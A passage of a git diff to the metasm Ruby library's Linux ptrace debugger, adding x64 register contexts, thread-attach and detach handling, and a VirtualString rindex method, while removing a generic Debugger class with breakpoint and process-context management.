true } + @cp.parse C_STRUCT if not @cp.toplevel.struct['user_regs_struct_x64'] + @gpr_st = @xmm_st = nil + end + + def gpr_sub_init + ret = {} + %w[a b c d].each { |r| + b = "r#{r}x".to_sym + ret["e#{r}x".to_sym] = [b, 0xffff_ffff] + ret[ "#{r}x".to_sym] = [b, 0xffff] + ret[ "#{r}l".to_sym] = [b, 0xff] + ret[ "#{r}h".to_sym] = [b, 0xff, 8] + } + %w[sp bp si di].each { |r| + b = "r#{r}".to_sym + ret["e#{r}".to_sym] = [b, 0xffff_ffff] + ret[ "#{r}".to_sym] = [b, 0xffff] + ret["#{r}l".to_sym] = [b, 0xff] + } + (8..15).each { |i| + b = "r#{i}".to_sym + ret["r#{i}d"] = [b, 0xffff_ffff] + ret["r#{i}w"] = [b, 0xffff] + ret["r#{i}b"] = [b, 0xff] + } + ret[:eip] = [:rip, 0xffff_ffff] + ret[:eflags] = [:rflags, 0xffff_ffff] + ret[:orig_eax] = [:orig_rax, 0xffff_ffff] + ret + end + + def do_getregs + st = cp.alloc_c_struct('user_regs_struct_x64') + getregs(st) + st + end + + def do_setregs(st=@gpr_st) + setregs(st) + end + + def do_getxmm + st = cp.alloc_c_struct('user_i387_struct_x64') + getfpregs(st) + st + end + + def do_setxmm(st=@xmm_st) + setfpregs(st) + end +end + module ::Process WALL = 0x40000000 if not defined? WALL WCLONE = 0x80000000 if not defined? WCLONE @@ -683,10 +1095,10 @@ end # this class implements a high-level API over the ptrace debugging primitives class LinDebugger < Debugger # ptrace is per-process or per-thread ? - attr_accessor :ptrace, :continuesignal, :has_pax_mprotect, :target_syscall + attr_accessor :ptrace, :continuesignal, :has_pax_mprotect, :target_syscall, :cached_waitpid attr_accessor :callback_syscall, :callback_branch, :callback_exec - def initialize(pidpath=nil) + def initialize(pidpath=nil, &b) super() @pid_stuff_list << :has_pax_mprotect << :ptrace << :breaking << :os_process @tid_stuff_list << :continuesignal << :saved_csig << :ctx << :target_syscall @@ -696,15 +1108,14 @@ class LinDebugger < Debugger @callback_syscall = lambda { |i| log "syscall #{i[:syscall]}" } @callback_exec = lambda { |i| log "execve #{os_process.path}" } + @cached_waitpid = [] return if not pidpath - begin - pid = Integer(pidpath) - attach(pid) - rescue ArgumentError - create_process(pidpath) - end + t = begin; Integer(pidpath) + rescue ArgumentError, TypeError + end + t ? attach(t) : create_process(pidpath, &b) end def shortname; 'lindbg'; end @@ -715,11 +1126,18 @@ class LinDebugger < Debugger set_context(pt.pid, pt.pid) # swapout+init_newpid log "attached #@pid" list_threads.each { |tid| attach_thread(tid) if tid != @pid } + set_tid @pid end # create a process and debug it - def create_process(path) - pt = PTrace.new(path, :create) + # if given a block, the block is run in the context of the ruby subprocess + # after the fork() and before exec()ing the target binary + # you can use it to eg tweak file descriptors: + # tg_stdin_r, tg_stdin_w = IO.pipe + # create_process('/bin/cat') { tg_stdin_w.close ; $stdin.reopen(tg_stdin_r) } + # tg_stdin_w.write 'lol' + def create_process(path, &b) + pt = PTrace.new(path, :create, &b) # TODO save path, allow restart etc set_context(pt.pid, pt.pid) # swapout+init_newpid log "attached #@pid" @@ -727,10 +1145,10 @@ class LinDebugger < Debugger def initialize_cpu @cpu = os_process.cpu - # need to init @ptrace here, before init_dasm calls gui.swapin + # need to init @ptrace here, before init_dasm calls gui.swapin XXX this stinks @ptrace = PTrace.new(@pid, false) if @cpu.size == 64 and @ptrace.reg_off['EAX'] - hack_64_32 + hack_x64_32 end set_tid @pid set_thread_options @@ -764,29 +1182,35 @@ class LinDebugger < Debugger os_process.modules end - # we're a 32bit process debugging a 64bit target + # We're a 32bit process debugging a 64bit target # the ptrace kernel interface we use only allow us a 32bit-like target access - # with this we advertize the cpu as having eax..edi registers (the only one we + # With this we advertize the cpu as having eax..edi registers (the only one we # can access), while still decoding x64 instructions (whose addr < 4G) - def hack_64_32 + def hack_x64_32 log "WARNING: debugging a 64bit process from a 32bit debugger is a very bad idea !" - @cpu.instance_eval { - ia32 = Ia32.new - @dbg_register_pc = ia32.dbg_register_pc - @dbg_register_flags = ia32.dbg_register_flags - @dbg_register_list = ia32.dbg_register_list - @dbg_register_size = ia32.dbg_register_size - } + ia32 = Ia32.new + @cpu.instance_variable_set('@dbg_register_pc', ia32.dbg_register_pc) + @cpu.instance_variable_set('@dbg_register_sp', ia32.dbg_register_sp) + @cpu.instance_variable_set('@dbg_register_flags', ia32.dbg_register_flags) + @cpu.instance_variable_set('@dbg_register_list', ia32.dbg_register_list) + @cpu.instance_variable_set('@dbg_register_size', ia32.dbg_register_size) end # attach a thread of the current process def attach_thread(tid) set_tid tid @ptrace.pid = tid - @ptrace.attach - @state = :stopped # no need to wait() + @ptrace.attach + @state = :stopped + # store this waitpid so that we can return it in a future check_target + ::Process.waitpid(tid, ::Process::WALL) + # XXX can $? be safely stored? + @cached_waitpid << [tid, $?.dup] log "attached thread #{tid}" set_thread_options + rescue Errno::ESRCH + # raced, thread quitted already + del_tid end # set the debugee ptrace options (notify clone/exec/exit, and fork/vfork depending on @trace_children) @@ -807,27 +1231,23 @@ class LinDebugger < Debugger super() end - # a hash of the current thread context - # TODO keys = :gpr, :fpu, :xmm, :dr ; val = AllocCStruct - # include accessors for st0/xmm12 (@ptrace.getfpregs.unpack etc) + # current thread register values accessor def ctx - @ctx ||= {} + @ctx ||= case @ptrace.host_csn + when 'ia32'; PTraceContext_Ia32.new(@ptrace, @tid) + when 'x64'; PTraceContext_X64.new(@ptrace, @tid) + else raise '8==D' + end end def get_reg_value(r) - raise "bad register #{r}" if not k = @ptrace.reg_off[r.to_s.upcase] - return ctx[r] || 0 if @state != :stopped - @ptrace.pid = @tid - ctx[r] ||= @ptrace.peekusr(k) + return 0 if @state != :stopped + ctx.get_reg(r) rescue Errno::ESRCH 0 end def set_reg_value(r, v) - raise "bad register #{r}" if not k = @ptrace.reg_off[r.to_s.upcase] - ctx[r] = v - return if @state != :stopped - @ptrace.pid = @tid - @ptrace.pokeusr(k, v) + ctx.set_reg(r, v) end def update_waitpid(status) @@ -851,14 +1271,14 @@ class LinDebugger < Debugger end elsif status.stopped? sig = status.stopsig & 0x7f - signame = PTrace::SIGNAL[sig] + signame = PTrace::SIGNAL[sig] if signame == 'TRAP' if status.stopsig & 0x80 > 0 # XXX int80 in x64 => syscallnr32 ? evt_syscall info.update(:syscall => @ptrace.syscallnr[get_reg_value(@ptrace.syscallreg)]) elsif (status >> 16) > 0 - case o = PTrace::WAIT_EXTENDEDRESULT[status >> 16] + case PTrace::WAIT_EXTENDEDRESULT[status >> 16] when 'EVENT_FORK', 'EVENT_VFORK' # parent notification of a fork # child receives STOP (may have already happened) @@ -870,6 +1290,7 @@ class LinDebugger < Debugger resume_badbreak when 'EVENT_EXIT' + @ptrace.pid = @tid info.update :exitcode => @ptrace.geteventmsg if @tid == @pid evt_endprocess info @@ -885,6 +1306,7 @@ class LinDebugger < Debugger end else + @ptrace.pid = @tid si = @ptrace.getsiginfo case si.si_code when PTrace::SIGINFO['BRKPT'], @@ -900,7 +1322,7 @@ class LinDebugger < Debugger @saved_csig = @continuesignal = sig info.update :signal => signame, :type => "SIG#{signame}" evt_exception info - end + end end elsif signame == 'STOP' and @info == 'new' @@ -908,26 +1330,28 @@ class LinDebugger < Debugger if @pid == @tid attach(@pid, false) evt_newprocess info - else + else evt_newthread info end elsif signame == 'STOP' and @breaking @state = :stopped @info = 'break' - @breaking = nil + @breaking.call if @breaking.kind_of? Proc + @breaking = nil - else + else @saved_csig = @continuesignal = sig info.update :signal => signame, :type => "SIG#{signame}" if signame == 'SEGV' # need more data on access violation (for bpm) info.update :type => 'access violation' + @ptrace.pid = @tid si = @ptrace.getsiginfo access = case si.si_code when PTrace::SIGINFO['MAPERR']; :r # XXX write access to unmapped => ? when PTrace::SIGINFO['ACCERR']; :w - end + end info.update :fault_addr => si.si_addr, :fault_access => access end evt_exception info @@ -937,36 +1361,53 @@ class LinDebugger < Debugger evt_exception info.update(:type => "unknown wait #{status.inspect}") end end - + def set_tid_findpid(tid) return if tid == @tid - if tid != @pid and pr = list_processes.find { |p| p.threads.include? tid } - set_pid pr.pid + if tid != @pid and !@tid_stuff[tid] + if kv = @pid_stuff.find { |k, v| v[:tid_stuff] and v[:tid_stuff][tid] } + set_pid kv[0] + elsif pr = list_processes.find { |p| p.threads.include?(tid) } + set_pid pr.pid + end end set_tid tid end def do_check_target - return unless t = ::Process.waitpid(-1, ::Process::WNOHANG | ::Process::WALL) - # XXX all threads may have stopped, wait them now ? + if @cached_waitpid.empty? + t = ::Process.waitpid(-1, ::Process::WNOHANG | ::Process::WALL) + st = $? + else + t, st = @cached_waitpid.shift + end + return if not t set_tid_findpid t - update_waitpid $? + update_waitpid st + true rescue ::Errno::ECHILD end def do_wait_target - t = ::Process.waitpid(-1, ::Process::WALL) + if @cached_waitpid.empty? + t = ::Process.waitpid(-1, ::Process::WALL) + st = $? + else + t, st = @cached_waitpid.shift + end set_tid_findpid t - update_waitpid $? + update_waitpid st rescue ::Errno::ECHILD end def do_continue + @state = :running @ptrace.pid = tid @ptrace.cont(@continuesignal) end def do_singlestep(*a) + @state = :running @ptrace.pid = tid @ptrace.singlestep(@continuesignal) end @@ -975,10 +1416,21 @@ class LinDebugger < Debugger # regexp allowed to wait a specific syscall def syscall(arg=nil) arg = nil if arg and arg.strip == '' - return if not check_pre_run(:syscall, arg) - @target_syscall = arg - @ptrace.pid = @tid - @ptrace.syscall(@continuesignal) + if b = check_breakpoint_cause and b.hash_shared.find { |bb| bb.state == :active } + singlestep_bp(b) { + next if not check_pre_run(:syscall, arg) + @target_syscall = arg + @state = :running + @ptrace.pid = @tid + @ptrace.syscall(@continuesignal) + } + else + return if not check_pre_run(:syscall, arg) + @target_syscall = arg + @state = :running + @ptrace.pid = @tid + @ptrace.syscall(@continuesignal) + end end def syscall_wait(*a, &b) @@ -990,9 +1442,19 @@ class LinDebugger < Debugger def singleblock # record as singlestep to avoid evt_singlestep -> evt_exception # step or block doesn't matter much here anyway - return if not check_pre_run(:singlestep) - @ptrace.pid = @tid - @ptrace.singleblock(@continuesignal) + if b = check_breakpoint_cause and b.hash_shared.find { |bb| bb.state == :active } + singlestep_bp(b) { + next if not check_pre_run(:singlestep) + @state = :running + @ptrace.pid = @tid + @ptrace.singleblock(@continuesignal) + } + else + return if not check_pre_run(:singlestep) + @state = :running + @ptrace.pid = @tid + @ptrace.singleblock(@continuesignal) + end end def singleblock_wait(*a, &b) @@ -1034,8 +1496,8 @@ class LinDebugger < Debugger # calling continue() here will loop back to TRAP+INFO_EXEC end - def break - @breaking = true + def break(&b) + @breaking = b || true kill 'STOP' end @@ -1051,26 +1513,41 @@ class LinDebugger < Debugger @continuesignal = @saved_csig else @continuesignal = 0 - end - end + end + end def sig2signr(sig) case sig when nil, ''; 9 when Integer; sig when String - sig = sig.upcase.sub(/^SIG_?/, '') + sig = sig.upcase.sub(/^SIG_?/, '') PTrace::SIGNAL[sig] || Integer(sig) else raise "unhandled signal #{sig.inspect}" - end + end end # stop debugging the current process def detach + if @state == :running + # must be stopped so we can rm bps + self.break { detach } + mypid = @pid + wait_target + + # after syscall(), wait will return once for interrupted syscall, + # and we need to wait more for the break callback to kick in + if @pid == mypid and @state == :stopped and @info =~ /syscall/ + do_continue + check_target + end + + return + end del_all_breakpoints each_tid { @ptrace.pid = @tid - @ptrace.detach + @ptrace.detach rescue nil @delete_thread = true } del_pid diff --git a/lib/metasm/metasm/os/main.rb b/lib/metasm/metasm/os/main.rb index c501dc6502..97919afc36 100644 --- a/lib/metasm/metasm/os/main.rb +++ b/lib/metasm/metasm/os/main.rb @@ -51,11 +51,19 @@ class OS pr end + # return 'winos' or 'linos' depending on the underlying OS + def self.shortname + case RUBY_PLATFORM + when /mswin|mingw|cygwin/i; 'winos' + when /linux/i; 'linos' + end + end + # return the platform-specific version def self.current - case RUBY_PLATFORM - when /mswin|mingw|cygwin/i; WinOS - when /linux/i; LinOS + case shortname + when 'winos'; WinOS + when 'linos'; LinOS end end end @@ -161,6 +169,17 @@ class VirtualString end end + def rindex(chr, max=length) + return if max > length + if max > 64 and i = self[max-64, 64].rindex(chr) + max - 64 + i + elsif max > @pagelength and i = self[max-@pagelength, @pagelength].rindex(chr) + max - @pagelength + i + else + realstring.rindex(chr, max) + end + end + # '=~' does not go through method_missing def =~(o) realstring =~ o @@ -264,7 +283,7 @@ class VirtualFile < VirtualString if sz = File.size(path) <= 4096 and (mode == 'rb' or mode == 'r') File.open(path, mode) { |fd| fd.read } else - File.open(path, mode) { |fd| new fd, 0, sz } + File.open(path, mode) { |fd| new fd.dup, 0, sz } end end @@ -274,7 +293,7 @@ class VirtualFile < VirtualString # creates a new virtual mapping of a section of the file # the file descriptor must be seekable def initialize(fd, addr_start = 0, length = nil) - @fd = fd.dup + @fd = fd if not length @fd.seek(0, File::SEEK_END) length = @fd.tell - addr_start @@ -308,1379 +327,4 @@ class VirtualFile < VirtualString @fd.read(@length) end end - -# this class implements a high-level debugging API (abstract superclass) -class Debugger - class Breakpoint - attr_accessor :address, - # context where the bp was defined - :pid, :tid, - # bool: oneshot ? - :oneshot, - # current bp state: :active, :inactive (internal use), :disabled (user-specified) - :state, - # type: type of breakpoint (:bpx = soft, :hw = hard) - :type, - # Expression if this is a conditionnal bp - # may be a Proc, String or Expression, evaluated every time the breakpoint hits - # if it returns 0 or false, the breakpoint is ignored - :condition, - # Proc to run if this bp has a callback - :action, - # Proc to run to emulate the overwritten instr behavior - # used to avoid unset/singlestep/re-set, more multithread friendly - :emul_instr, - # internal data, cpu-specific (overwritten byte for a softbp, memory type/size for hwbp..) - :internal, - # reference breakpoints sharing a target implementation (same hw debug register, soft bp addr...) - # shared is an array of Breakpoints, the same Array object in all shared breakpoints - # owner is a hash key => shared (dbg.breakpoint) - # key is an identifier for the Bp class in owner (bp.address) - :hash_shared, :hash_owner, :hash_key, - # user-defined breakpoint-specific stuff - :userdata - - # append the breakpoint to hash_owner + hash_shared - def add(owner=@hash_owner) - @hash_owner = owner - @hash_key ||= @address - return add_bpm if @type == :bpm - if pv = owner[@hash_key] - @hash_shared = pv.hash_shared - @internal ||= pv.internal - @emul_instr ||= pv.emul_instr - else - owner[@hash_key] = self - @hash_shared = [] - end - @hash_shared << self - end - - # register a bpm: add references to all page start covered in @hash_owner - def add_bpm - m = @address + @internal[:len] - a = @address & -0x1000 - @hash_shared = [self] - - @internal ||= {} - @internal[:orig_prot] ||= {} - while a < m - if pv = @hash_owner[a] - if not pv.hash_shared.include?(self) - pv.hash_shared.concat @hash_shared-pv.hash_shared - @hash_shared.each { |bpm| bpm.hash_shared = pv.hash_shared } - end - @internal[:orig_prot][a] = pv.internal[:orig_prot][a] - else - @hash_owner[a] = self - end - a += 0x1000 - end - end - - # delete the breakpoint from hash_shared, and hash_owner if empty - def del - return del_bpm if @type == :bpm - @hash_shared.delete self - if @hash_shared.empty? - @hash_owner.delete @hash_key - elsif @hash_owner[@hash_key] == self - @hash_owner[@hash_key] = @hash_shared.first - end - end - - # unregister a bpm - def del_bpm - m = @address + @internal[:len] - a = @address & -0x1000 - @hash_shared.delete self - while a < m - pv = @hash_owner[a] - if pv == self - if opv = @hash_shared.find { |bpm| - bpm.address < a + 0x1000 and bpm.address + bpm.internal[:len] > a - } - @hash_owner[a] = opv - else - @hash_owner.delete a - - # split hash_shared on disjoint ranges - prev_shared = @hash_shared.find_all { |bpm| - bpm.address < a + 0x1000 and bpm.address + bpm.internal[:len] <= a - } - - prev_shared.each { |bpm| - bpm.hash_shared = prev_shared - @hash_shared.delete bpm - } - end - end - a += 0x1000 - end - end - end - - # per-process data - attr_accessor :memory, :cpu, :disassembler, :breakpoint, :breakpoint_memory, - :modulemap, :symbols, :symbols_len - # per-thread data - attr_accessor :state, :info, :breakpoint_thread, :singlestep_cb, :run_method, - :run_args, :breakpoint_cause - - # which/where per-process/thread stuff is stored - attr_accessor :pid_stuff, :tid_stuff, :pid_stuff_list, :tid_stuff_list - - # global debugger callbacks, called whenever such event occurs - attr_accessor :callback_singlestep, :callback_bpx, :callback_hwbp, :callback_bpm, - :callback_exception, :callback_newthread, :callback_endthread, - :callback_newprocess, :callback_endprocess, :callback_loadlibrary - - # global switches, specify wether to break on exception/thread event - # can be a Proc that is evaluated (arg = info parameter of the evt_func) - # trace_children is a bool to tell if we should debug subprocesses spawned - # by the target - attr_accessor :pass_all_exceptions, :ignore_newthread, :ignore_endthread, - :trace_children - - # link to the user-interface object if available - attr_accessor :gui - - # initializes the disassembler internal data - subclasses should call super() - def initialize - @pid_stuff = {} - @tid_stuff = {} - @log_proc = nil - @state = :dead - @info = '' - # stuff saved when we switch pids - @pid_stuff_list = [:memory, :cpu, :disassembler, :symbols, :symbols_len, - :modulemap, :breakpoint, :breakpoint_memory, :tid, :tid_stuff, - :dead_process] - @tid_stuff_list = [:state, :info, :breakpoint_thread, :singlestep_cb, - :run_method, :run_args, :breakpoint_cause, :dead_thread] - @callback_loadlibrary = lambda { |h| loadsyms(h[:address]) ; continue } - @callback_newprocess = lambda { |h| log "process #{@pid} created" } - @callback_endprocess = lambda { |h| log "process #{@pid} died" } - initialize_newpid - initialize_newtid - end - - def shortname; self.class.name.split('::').last.downcase; end - - attr_reader :pid - # change pid and associated cached data - # this will also re-load the previously selected tid for this process - def pid=(npid) - return if npid == pid - raise "invalid pid" if not check_pid(npid) - swapout_pid - @pid = npid - swapin_pid - end - alias set_pid pid= - - attr_reader :tid - def tid=(ntid) - return if ntid == tid - raise "invalid tid" if not check_tid(ntid) - swapout_tid - @tid = ntid - swapin_tid - end - alias set_tid tid= - - # creates stuff related to a new process being debugged - # includes disassembler, modulemap, symbols, breakpoints - # subclasses should check that @pid maps to a real process and raise() otherwise - # to be called with @pid/@tid set, calls initialize_memory+initialize_cpu - def initialize_newpid - return if not pid - @pid_stuff_list.each { |s| instance_variable_set("@#{s}", nil) } - - @symbols = {} - @symbols_len = {} - @modulemap = {} - @breakpoint = {} - @breakpoint_memory = {} - @tid_stuff = {} - initialize_cpu - initialize_memory - initialize_disassembler - end - - # subclasses should check that @tid maps to a real thread and raise() otherwise - def initialize_newtid - return if not tid - @tid_stuff_list.each { |s| instance_variable_set("@#{s}", nil) } - - @state = :stopped - @info = 'new' - @breakpoint_thread = {} - gui.swapin_tid if @disassembler and gui.respond_to?(:swapin_tid) - end - - # initialize the disassembler from @cpu/@memory - def initialize_disassembler - return if not @memory or not @cpu - @disassembler = Shellcode.decode(@memory, @cpu).disassembler - gui.swapin_pid if gui.respond_to?(:swapin_pid) - end - - # we're switching focus from one pid to another, save current pid data - def swapout_pid - return if not pid - swapout_tid - gui.swapout_pid if gui.respond_to?(:swapout_pid) - @pid_stuff[@pid] ||= {} - @pid_stuff_list.each { |fld| - @pid_stuff[@pid][fld] = instance_variable_get("@#{fld}") - } - end - - # we're switching focus from one tid to another, save current tid data - def swapout_tid - return if not tid - gui.swapout_tid if gui.respond_to?(:swapout_tid) - @tid_stuff[@tid] ||= {} - @tid_stuff_list.each { |fld| - @tid_stuff[@tid][fld] = instance_variable_get("@#{fld}") - } - end - - # we're switching focus from one pid to another, load current pid data - def swapin_pid - return initialize_newpid if not @pid_stuff[@pid] - - @pid_stuff_list.each { |fld| - instance_variable_set("@#{fld}", @pid_stuff[@pid][fld]) - } - swapin_tid - gui.swapin_pid if gui.respond_to?(:swapin_pid) - end - - # we're switching focus from one tid to another, load current tid data - def swapin_tid - return initialize_newtid if not @tid_stuff[@tid] - - @tid_stuff_list.each { |fld| - instance_variable_set("@#{fld}", @tid_stuff[@tid][fld]) - } - gui.swapin_tid if gui.respond_to?(:swapin_tid) - end - - # delete references to the current pid - # switch to another pid, set @state = :dead if none available - def del_pid - @pid_stuff.delete @pid - if @pid = @pid_stuff.keys.first - swapin_pid - else - @state = :dead - @info = '' - @tid = nil - end - end - - # delete references to the current thread - # calls del_pid if no tid left - def del_tid - @tid_stuff.delete @tid - if @tid = @tid_stuff.keys.first - swapin_tid - else - del_pid - end - end - - # change the debugger to a specific pid/tid - # if given a block, run the block and then restore the original pid/tid - # pid may be an object that respond to #pid/#tid - def switch_context(npid, ntid=nil) - if npid.respond_to? :pid - ntid ||= npid.tid - npid = npid.pid - end - oldpid = pid - oldtid = tid - set_pid npid - set_tid ntid if ntid - if block_given? - # shortcut begin..ensure overhead - return yield if oldpid == pid and oldtid == tid - - begin - yield - ensure - set_pid oldpid - set_tid oldtid - end - end - end - alias set_context switch_context - - # iterate over all pids, yield in the context of this pid - def each_pid - # ensure @pid is last, so that we finish in the current context - lst = @pid_stuff.keys - [@pid] - lst << @pid - return lst if not block_given? - lst.each { |p| - set_pid p - yield - } - end - - # iterate over all tids of the current process, yield in its context - def each_tid - lst = @tid_stuff.keys - [@tid] - lst << @tid - return lst if not block_given? - lst.each { |t| - set_tid t - yield - } - end - - # iterate over all tids of all pids, yield in their context - def each_pid_tid - each_pid { each_tid { yield } } - end - - - # create a thread/process breakpoint - # addr can be a numeric address, an Expression that is resolved, or - # a String that is parsed+resolved - # info's keys are set to the breakpoint - # standard keys are :type, :oneshot, :condition, :action - # returns the Breakpoint object - def add_bp(addr, info={}) - info[:pid] ||= @pid - info[:tid] ||= @tid if info[:pid] == @pid - - b = Breakpoint.new - info.each { |k, v| - b.send("#{k}=", v) - } - - switch_context(b) { - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - b.address = addr - - b.hash_owner ||= case b.type - when :bpm; @breakpoint_memory - when :hwbp; @breakpoint_thread - when :bpx; @breakpoint - end - # XXX bpm may hash_share with an :active, but be larger and still need enable() - b.add - - enable_bp(b) if not info[:state] - } - - b - end - - # remove a breakpoint - def del_bp(b) - disable_bp(b) - b.del - end - - # activate an inactive breakpoint - def enable_bp(b) - return if b.state == :active - if not b.hash_shared.find { |bb| bb.state == :active } - switch_context(b) { - if not b.internal - init_bpx(b) if b.type == :bpx - b.internal ||= {} - b.hash_shared.each { |bb| bb.internal ||= b.internal } - end - do_enable_bp(b) - } - end - b.state = :active - end - - # deactivate an active breakpoint - def disable_bp(b, newstate = :inactive) - return if b.state != :active - b.state = newstate - return if b.hash_shared.find { |bb| bb.state == :active } - switch_context(b) { - do_disable_bp(b) - } - end - - - # delete all breakpoints defined in the current thread - def del_all_breakpoints_thread - @breakpoint_thread.values.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } - end - - # delete all breakpoints for the current process and all its threads - def del_all_breakpoints - each_tid { del_all_breakpoints_thread } - @breakpoint.values.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } - @breakpoint_memory.values.uniq.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } - end - - # calls do_enable_bpm for bpms, or @cpu.dbg_enable_bp - def do_enable_bp(b) - if b.type == :bpm; do_enable_bpm(b) - else @cpu.dbg_enable_bp(self, b) - end - end - - # calls do_disable_bpm for bpms, or @cpu.dbg_disable_bp - def do_disable_bp(b) - if b.type == :bpm; do_disable_bpm(b) - else @cpu.dbg_disable_bp(self, b) - end - end - - # called in the context of the target when a bpx is to be initialized - # will disassemble the code pointed, and try to initialize #emul_instr - def init_bpx(b) - @disassembler.disassemble_fast_block(b.address) # XXX configurable dasm method - if di = @disassembler.di_at(b.address) and - fdbd = @disassembler.get_fwdemu_binding(di, register_pc) and - not fdbd[:incomplete_binding] and not fdbd.index(Expression::Unknown) and - fdbd.keys.all? { |k| k.kind_of?(Symbol) or k.kind_of?(Indirection) } - -puts di.instruction, fdbd.inspect - b.emul_instr = lambda { |dbg| - resv = lambda { |e| - r = e - flags = Expression[r].externals.uniq.find_all { |f| f.to_s =~ /flags?_(.+)/ } - if flags.first - bd = {} - flags.each { |f| - f.to_s =~ /flags?_(.+)/ - bd[f] = dbg.get_flag_value($1.downcase.to_sym) - } - r = r.bind(bd) - end - dbg.resolve(r) - } - - fdbd.map { |k, v| - k = Indirection[resv[k.pointer], k.len] if k.kind_of?(Indirection) - [k, resv[v]] - }.each { |k, v| - if k.to_s =~ /flags?_(.+)/ - dbg.set_flag_value($1.downcase.to_sym, v) - elsif k.kind_of?(Symbol) - dbg.set_reg_value(k, v) - elsif k.kind_of?(Indirection) - dbg.memory_write_int(k.pointer, v, k.len) - end - } - } - b.hash_shared.each { |bb| bb.emul_instr = b.emul_instr } - end - end - - # sets a breakpoint on execution - def bpx(addr, oneshot=false, cond=nil, &action) - h = { :type => :bpx } - h[:oneshot] = true if oneshot - h[:condition] = cond if cond - h[:action] = action if action - add_bp(addr, h) - end - - # sets a hardware breakpoint - # mtype in :r :w :x - # mlen is the size of the memory zone to cover - # mlen may be constrained by the architecture - def hwbp(addr, mtype=:x, mlen=1, oneshot=false, cond=nil, &action) - h = { :type => :hwbp } - h[:hash_owner] = @breakpoint_thread - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - h[:hash_key] = [addr, mtype, mlen] - h[:internal] = { :type => mtype, :len => mlen } - h[:oneshot] = true if oneshot - h[:condition] = cond if cond - h[:action] = action if action - add_bp(addr, h) - end - - # sets a memory breakpoint - # mtype is :r :w :rw or :x - # mlen is the size of the memory zone to cover - def bpm(addr, mtype=:r, mlen=4096, oneshot=false, cond=nil, &action) - h = { :type => :bpm } - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - h[:hash_key] = addr & -4096 # XXX actually referenced at addr, addr+4096, ... addr+len - h[:internal] = { :type => type, :len => mlen } - h[:oneshot] = true if oneshot - h[:condition] = cond if cond - h[:action] = action if action - add_bp(addr, h) - end - - - # define the lambda to use to log stuff (used by #puts) - def set_log_proc(l=nil, &b) - @log_proc = l || b - end - - # show information to the user, uses log_proc if defined - def log(*a) - if @log_proc - a.each { |aa| @log_proc[aa] } - else - puts(*a) - end - end - - - # marks the current cache of memory/regs invalid - def invalidate - @memory.invalidate if @memory - end - - # invalidates the EncodedData backend for the dasm sections - def dasm_invalidate - disassembler.sections.each_value { |s| s.data.invalidate if s.data.respond_to? :invalidate } - end - - # return all breakpoints set on a specific address (or all bp) - def all_breakpoints(addr=nil) - ret = [] - if addr - if b = @breakpoint[addr] - ret |= b.hash_shared - end - else - @breakpoint.each_value { |bb| ret |= bb.hash_shared } - end - - @breakpoint_thread.each_value { |bb| - next if addr and bb.address != addr - ret |= bb.hash_shared - } - - @breakpoint_memory.each_value { |m| - next if addr and (bb.address+bb.internal[:len] <= addr or bb.address > addr) - ret |= bb.hash_shared - } - - ret - end - - def find_breakpoint(addr=nil) - return @breakpoint[addr] if @breakpoint[addr] and (not block_given? or yield(@breakpoint[addr])) - all_breakpoints(addr).find { |b| yield b } - end - - - # to be called right before resuming execution of the target - # run_m is the method that should be called if the execution is stopped - # due to a side-effect of the debugger (bpx with wrong condition etc) - # returns nil if the execution should be avoided (just deleted the dead thread/process) - def check_pre_run(run_m, *run_a) - if @dead_process - del_pid - return - elsif @dead_thread - del_tid - return - elsif @state == :running - return - end - @cpu.dbg_check_pre_run(self) if @cpu.respond_to?(:dbg_check_pre_run) - @breakpoint_cause = nil - @run_method = run_m - @run_args = run_a - @state = :running - @info = nil - true - end - - - # called when the target stops due to a singlestep exception - def evt_singlestep(b=nil) - b ||= find_singlestep - return evt_exception(:type => 'singlestep') if not b - - @state = :stopped - @info = 'singlestep' - @cpu.dbg_evt_singlestep(self) if @cpu.respond_to?(:dbg_evt_singlestep) - - callback_singlestep[] if callback_singlestep - - if cb = @singlestep_cb - @singlestep_cb = nil - cb.call # call last, as the cb may change singlestep_cb/state/etc - end - end - - # returns true if the singlestep is due to us - def find_singlestep - return @cpu.dbg_find_singlestep(self) if @cpu.respond_to?(:dbg_find_singlestep) - @run_method == :singlestep - end - - # called when the target stops due to a soft breakpoint exception - def evt_bpx(b=nil) - b ||= find_bp_bpx - return evt_exception(:type => 'breakpoint') if not b - - @state = :stopped - @info = 'breakpoint' - @cpu.dbg_evt_bpx(self, b) if @cpu.respond_to?(:dbg_evt_bpx) - - callback_bpx[b] if callback_bpx - - post_evt_bp(b) - end - - # return the breakpoint that is responsible for the evt_bpx - def find_bp_bpx - return @cpu.dbg_find_bpx(self) if @cpu.respond_to?(:dbg_find_bpx) - @breakpoint[pc] - end - - # called when the target stops due to a hwbp exception - def evt_hwbp(b=nil) - b ||= find_bp_hwbp - return evt_exception(:type => 'hwbp') if not b - - @state = :stopped - @info = 'hwbp' - @cpu.dbg_evt_hwbp(self, b) if @cpu.respond_to?(:dbg_evt_hwbp) - - callback_hwbp[b] if callback_hwbp - - post_evt_bp(b) - end - - # return the breakpoint that is responsible for the evt_hwbp - def find_bp_hwbp - return @cpu.dbg_find_hwbp(self) if @cpu.respond_to?(:dbg_find_bpx) - @breakpoint_thread.find { |b| b.address == pc } - end - - # called for archs where the same interrupt is generated for hwbp and singlestep - # checks if a hwbp matches, then call evt_hwbp, else call evt_singlestep (which - # will forward to evt_exception if singlestep does not match either) - def evt_hwbp_singlestep - if b = find_bp_hwbp - evt_hwbp(b) - else - evt_singlestep - end - end - - # called when the target stops due to a memory exception caused by a memory bp - # called by evt_exception - def evt_bpm(b) - @state = :stopped - @info = 'bpm' - - callback_bpm[b] if callback_bpm - - post_evt_bp(b) - end - - # return a bpm whose page coverage includes the fault described in info - def find_bp_bpm(info) - @breakpoint_memory[info[:fault_addr] & -0x1000] - end - - # returns true if the fault described in info is valid to trigger b - def check_bpm_range(b, info) - return if b.address+b.internal[:len] <= info[:fault_addr] - return if b.address >= info[:fault_addr] + info[:fault_len] - case b.internal[:type] - when :x; info[:fault_addr] == pc # XXX - when :r; info[:fault_access] == :r - when :w; info[:fault_access] == :w - when :rw; true - end - end - - # handles breakpoint conditions/callbacks etc - def post_evt_bp(b) - @breakpoint_cause = b - - found_valid_active = false - - # XXX may have many active bps with callback that 